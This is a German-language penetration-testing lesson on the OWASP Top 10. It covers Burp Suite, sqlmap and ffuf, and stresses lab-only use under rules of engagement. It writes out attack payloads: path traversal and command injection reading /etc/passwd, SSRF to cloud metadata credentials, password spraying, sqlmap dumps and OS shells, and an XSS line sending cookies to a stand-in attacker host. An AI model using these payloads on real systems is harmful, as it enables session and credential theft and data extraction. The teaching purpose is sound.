OWASP Top 10 — Konzepte

Das Web ist dort, wo das Geld fließt. Dort spielt sich auch 60 bis 80 % eines Pentests ab. Der OWASP Top 10 (Ausgabe 2021, Überarbeitung 2024/2025 im Gange) liefert die zehn Kategorien von Schwachstellen, die den Großteil der realen Web-Angriffe abdecken. Diese Woche lernen wir sie nicht auswendig — wir verstehen, was jede einzelne angreift.

Erinnerung

Jede Web-Exploitation findet ausschließlich im Lab statt (Juice Shop, DVWA, WebGoat), oder gegen ein Ziel unter expliziten RoE. Ein sqlmap gegen eine nicht autorisierte Drittseite ist eine feindselige Handlung in jeder Rechtsordnung.

Was Sie nach dieser Lektion können

• Erkennen, welche der 10 Kategorien zu einer gegebenen Beobachtung an einer Anwendung passt.
• Die Logik jeder Kategorie in 30 Sekunden erklären.
• Burp Suite im Interception- + Repeater- + Intruder-Modus einsetzen.
• Einen POC von einem Wirkungsnachweis unterscheiden — der Unterschied, der einen guten Bericht ausmacht.
• Mehrere Schwachstellen verketten, um eine reale Angriffskette zu zeigen.

---

1. Der Top 10 in einem Satz pro Kategorie

Merken Sie sich die Logik, nicht die Nummer. Die Nummer ändert sich mit jeder Ausgabe.

#	Kurzname	Logik	Konkretes Beispiel
A01	Broken Access Control	Die App erlaubt, was sie verbieten sollte.	Ein normaler Benutzer kann /api/admin/users aufrufen.
A02	Cryptographic Failures	Sensible Daten werden schlecht geschützt übertragen oder gespeichert.	Passwörter in md5, HTTP statt HTTPS, schwach signierte JWTs.
A03	Injection	Eine Benutzereingabe wird als Code ausgeführt.	SQL-Injection, Command-Injection, LDAP-Injection.
A04	Insecure Design	Die Geschäftslogik ist bereits im Entwurf falsch.	Password-Reset ohne Versuchslimit, erratbare Zahlenfolge.
A05	Security Misconfiguration	Standardwerte, Debug-Modus, fehlende Header.	admin/admin, ausführliche Fehlermeldungen, fehlendes X-Frame-Options.
A06	Vulnerable and Outdated Components	Eine Abhängigkeit hat eine CVE und ist nicht gepatcht.	Ein log4j in Version 2.14, ein veraltetes openssl, ein jQuery 1.4.
A07	Identification and Authentication Failures	Schwache Sessions, schwache Passwörter, keine MFA.	Vorhersagbares Session-Cookie, fehlendes Lockout, optionale MFA.
A08	Software and Data Integrity Failures	Die Lieferkette lässt ungeprüften Code durch.	Ein npm install eines kompromittierten Pakets, eine CI-Pipeline ohne Signatur.
A09	Security Logging and Monitoring Failures	Nichts wird geloggt, nichts wird gesehen.	Keine Alarmierung bei 10.000 fehlgeschlagenen Anmeldeversuchen.
A10	SSRF (Server-Side Request Forgery)	Der Server sendet eine vom Angreifer gewählte Anfrage.	Ein Bild-Import, der http://169.254.169.254/latest/meta-data/ akzeptiert.

Merken Sie sich vor allem: A01, A03, A05, A07, A10. Das sind die, denen man 70 % der Zeit begegnet.

---

2. Die fünf, die jetzt vertieft werden

2.1. A01 — Broken Access Control

Zwei wirklich brisante Unterfamilien:

IDOR (Insecure Direct Object Reference): Die ID eines Objekts ist vorhersagbar, und die App prüft nicht, ob es dem Benutzer gehört.

GET /api/users/1234/facture      → meine Rechnung, korrekt
GET /api/users/1235/facture      → die Rechnung eines anderen Kunden (Datenleck)

Path Traversal: Ein Dateipfad wird als Parameter übergeben und schlecht gefiltert.

GET /telecharger?fichier=rapport.pdf
GET /telecharger?fichier=../../../etc/passwd

Vertikale Rechteausweitung: Ein Benutzerkonto kann einen Endpunkt aufrufen, der Administratoren vorbehalten ist. Man testet, indem man ein role: user in ein role: admin in einem JWT ändert, oder indem man mit einem normalen Konto einen /admin/*-Endpunkt aufruft.

2.2. A03 — Injection

Die Königin der Angriffe. SQL, NoSQL, LDAP, OS-Command, Template, alles, was sich mit Benutzerdaten vermischen lässt.

SQL-Injection in 3 Varianten:

• In-Band: Die gestohlene Information erscheint direkt in der HTTP-Antwort (UNION SELECT).
• Blind Boolean: Die Information erscheint nicht, aber die Antwort ändert sich je nach wahr/falsch (AND 1=1 vs. AND 1=0).
• Blind Time-Based: Man misst die Antwortzeit (AND SLEEP(5)), ein Server, der 5 Sekunden länger braucht, hat die Bedingung als wahr ausgewertet.

Command-Injection: Ein Parameter wird an ein schlecht escapetes system() übergeben.

POST /ping  {"host": "example.com; cat /etc/passwd"}

Template-Injection (SSTI): sehr modern. Ein Jinja2-, Twig- oder Handlebars-Template wertet einen vom Benutzer kontrollierten Ausdruck aus.

{{ 7*7 }}                                    → 49        → SSTI bestätigt
{{ ''.__class__.__mro__[1].__subclasses__() }}   → 200 Python-Klassen

Von dort aus gelangt man zu subprocess und erhält eine RCE.

2.3. A05 — Security Misconfiguration

Am einfachsten auszunutzen, am häufigsten.

• Standardkonten (tomcat:tomcat, admin:admin, weblogic/weblogic1).
• Debug-Seiten in Produktion (/actuator/env, /console, phpinfo.php).
• Directory Listing (Index of /), das .git-Ordner und backup.sql offenlegt.
• Fehlende HTTP-Header (Content-Security-Policy, X-Frame-Options, Strict-Transport-Security).
• Zu freizügiges CORS (Access-Control-Allow-Origin: * + Allow-Credentials: true = Katastrophe).

2.4. A07 — Authentifizierung

Drei klassische Angriffe:

Password Spraying: Man probiert ein einziges Passwort gegen viele Konten. Umgeht die Einzelsperrung. Funktioniert, wenn die Richtlinie keine starke Komplexität verlangt.

nxc smb 10.10.10.12 -u users.txt -p Ete2025! --continue-on-success

Brute Force auf ein Konto: mehrere Passwörter gegen ein einziges Konto. Wird durch eine gut konfigurierte Sperrung blockiert.

Credential Stuffing: Ein öffentlicher Datenleak (Collection#1 usw.) wird gegen eine Website getestet. Mitarbeiter verwenden Passwörter wieder, das gelingt häufig.

Bei JWTs:

• Angriff alg=none: Man ändert den Algorithmus im Header und entfernt die Signatur. Manche schlecht programmierten Parser akzeptieren das.
• kid-Injection-Angriff: Man manipuliert kid, um auf einen selbst kontrollierten Schlüssel zu verweisen.
• Angriff mit schwachem Secret: HMAC-256-Signatur mit einem erratbaren Secret (secret, password, changeme).

2.5. A10 — SSRF

Der Anwendungsserver hat intern Zugriff auf Dinge, die Sie nicht haben — Cloud-Metadaten, interne Dienste, localhost. SSRF lässt Sie diesen Weg über ihn gehen.

Ziel Nr. 1 bei AWS/GCP/Azure: die Metadata-Endpunkte.

http://169.254.169.254/latest/meta-data/         (AWS)
http://metadata.google.internal/                 (GCP)
http://169.254.169.254/metadata/instance         (Azure)

Was man erhält: die der Instanz zugeordnete IAM-Rolle = temporäre AWS-Credentials. Von dort aus aws sts get-caller-identity und dann prüfen, was die Rolle darf.

Eine erfolgreiche SSRF auf einer Cloud-Instanz — das ist der Moment, in dem die Mission kippt — von einer Website hin zu einem Zugriff auf die Infrastruktur.

---

3. Burp Suite — das unverzichtbare Web-Werkzeug

Burp Suite fängt den HTTP/HTTPS-Verkehr zwischen Ihrem Browser und dem Ziel ab. Es ist das Schweizer Taschenmesser des Web-Pentesters.

Konfiguration in 2 Minuten

1. Burp Suite Community starten (in Kali bereits enthalten).
2. Firefox → Preferences → Network → HTTP Proxy → 127.0.0.1:8080.
3. Zu http://burpsuite navigieren → das CA-Zertifikat von Burp herunterladen.
4. Firefox → Certificates → Import → „Trust for websites" ankreuzen.
5. Zurück zum normalen Verkehr, HTTPS entschlüsselt in Burp.

Die 4 Tabs, die man auswendig kennen muss

Tab	Was er tut
Proxy → Intercept	Fängt jede Anfrage ab, lässt Sie diese vor dem Senden ändern.
Proxy → HTTP history	Verlauf von allem, was durchgelaufen ist. Filtern, suchen, nachlesen.
Repeater	Sendet dieselbe Anfrage beliebig oft, jedes Mal geändert. Das Herzstück des manuellen Pentests.
Intruder	Sendet Dutzende/Tausende Variationen mit parametrisierten Payloads.

Der Standard-Workflow

1. Navigieren Sie normal durch die App, lassen Sie Burp alles mitschneiden.
2. Identifizieren Sie eine interessante Anfrage in der HTTP history (Login-Formular, sensibler API-Aufruf, URL mit vorhersagbarer ID).
3. An den Repeater senden (Rechtsklick → Send to Repeater).
4. Ändern Sie jeweils einen Parameter. Senden, Antwort lesen.
5. Wenn Sie Hunderte Varianten testen wollen (Passwörter, IDs, XSS-Payloads), senden Sie an Intruder.

Intruder — nur ein Einfügepunkt gleichzeitig

Intruder-Angriffsarten:

• Sniper: ein einziger Payload pro Anfrage, an einem einzigen Einfügepunkt. In 95 % der Fälle zu verwenden.
• Battering Ram: derselbe Payload an mehreren Punkten wiederholt. Selten.
• Pitchfork: mehrere Listen, parallele Ziehung. Nützlich für ein Paar user:password.
• Cluster Bomb: kartesische Kombinationen mehrerer Listen. Achtung, wächst schnell (10 Benutzer × 1000 Passwörter = 10.000 Anfragen).

---

4. sqlmap — wenn die SQL-Injection bestätigt ist

sqlmap automatisiert die Ausnutzung von SQL-Injections. Sie bestätigen zunächst manuell in Burp, dann lassen Sie sqlmap die grobe Arbeit erledigen.

Grundlegender Befehl:

sqlmap -u "http://cible/produits?id=42" --dbs

Wichtige Optionen:

• --cookie="session=abc123" — um hinter einer Authentifizierung zu testen.
• -r requete.txt — eine vollständige POST-Anfrage übergeben.
• --data="user=admin&pass=x" — POST-Parameter direkt.
• --dbs — Datenbanken auflisten.
• --tables -D <db> — Tabellen auflisten.
• --dump -T users -D app — die Tabelle users auslesen.
• --os-shell — eine OS-Shell erhalten, wenn die Injection es erlaubt.

Achtung: --dump extrahiert alle Zeilen. Beim Pentest unter RoE mit --start=1 --stop=10 einschränken, um die Klausel „keine Massenextraktion" nicht zu überschreiten.

---

5. wfuzz / ffuf / gobuster — Brute Force von Endpunkten

Die App versteckt ein /admin, ein /backup, ein /actuator? Man brute-forced die Pfade.

# ffuf, heute das schnellste
ffuf -w /usr/share/wordlists/dirb/common.txt \
     -u http://cible/FUZZ -mc 200,204,301,302,401,403

# gobuster, Alternative
gobuster dir -u http://cible -w /usr/share/wordlists/dirb/common.txt

# ffuf auf GET-Parameter
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt \
     -u http://cible/api/user?FUZZ=1

Referenz-Wordlists:

• SecLists — die beste Sammlung (github.com/danielmiessler/SecLists).
• dirb, dirbuster — in Kali enthalten.

---

6. Das Goldene Prinzip: POC != Auswirkung

Ein POC beweist die Schwachstelle. Ein Wirkungsnachweis zeigt, was ein Angreifer damit anfangen kann.

Beispiel XSS:

• POC: <script>alert(1)</script> — ein Pop-up. „Es ist kaputt."
• Auswirkung: <script>fetch('http://attaquant.local/'+document.cookie)</script> — das Session-Cookie wird exfiltriert. „Ein Angreifer stiehlt die Admin-Session."

Beispiel SSRF:

• POC: ?url=http://localhost:8080/ — der Server liefert eine Antwort. „Der Server sendet Anfragen."
• Auswirkung: ?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ — Sie erhalten die AWS-IAM-Rolle. „Kompromittierung der Cloud-Infrastruktur."

Beispiel SQL-Injection:

• POC: id=42' OR '1'='1 — mehr Zeilen zurückgegeben. „Es gibt eine Injection."
• Auswirkung: sqlmap --dump -T users -D app --stop=1 — ein Datensatz, eine E-Mail, ein Hash. „Extraktion der Kundendatenbank."

Ein Bericht mit POCs ohne Auswirkung ist ein wertloser Bericht. Das unterscheidet einen Pentester von einem automatisierten Scanner.

---

7. Fehler, die man nicht machen sollte

• sqlmap --dump ausführen, bevor man einen klaren RoE zur Extraktion hat. Sie landen mit der kompletten Kundendatenbank auf Ihrer Festplatte. DSGVO-Problem, Berichtsproblem, Gewissensproblem.
• Bei alert(1) stehen bleiben. Ein Kunde sieht das Pop-up und schließt es. Man muss den Session-Diebstahl oder die erzwungene Aktion zeigen.
• HTTP-Header vernachlässigen. Ein schlecht untersuchtes Cookie: PHPSESSID=1234abcd kann ein HttpOnly=false-Flag verbergen (JS kann das Cookie lesen) = XSS + sofortiger Session-Diebstahl.
• Burp Intruder mit 100 Threads gegen eine Produktivumgebung laufen lassen. Sie legen den Dienst per DoS lahm, Sie brechen das RoE.
• Falsch-Positive nicht validieren. sqlmap kann sich irren. Immer manuell in Burp bestätigen, bevor man es in den Bericht aufnimmt.

---

8. Was man sich merken sollte

• Zehn Kategorien, fünf davon gründlich kennen (A01, A03, A05, A07, A10).
• Burp Suite ist Ihr Hauptwerkzeug — Repeater und Intruder beherrschen.
• sqlmap bestätigt, ersetzt nicht das Verständnis.
• ffuf findet versteckte Endpunkte.
• POC ≠ Auswirkung. Immer die Auswirkung zeigen, niemals nur den technischen Nachweis.

Nächste Lektion: Wir nehmen OWASP Juice Shop, bringen fünf Schwachstellen des Top 10 zu Fall und schreiben für jede einen Wirkungsnachweis.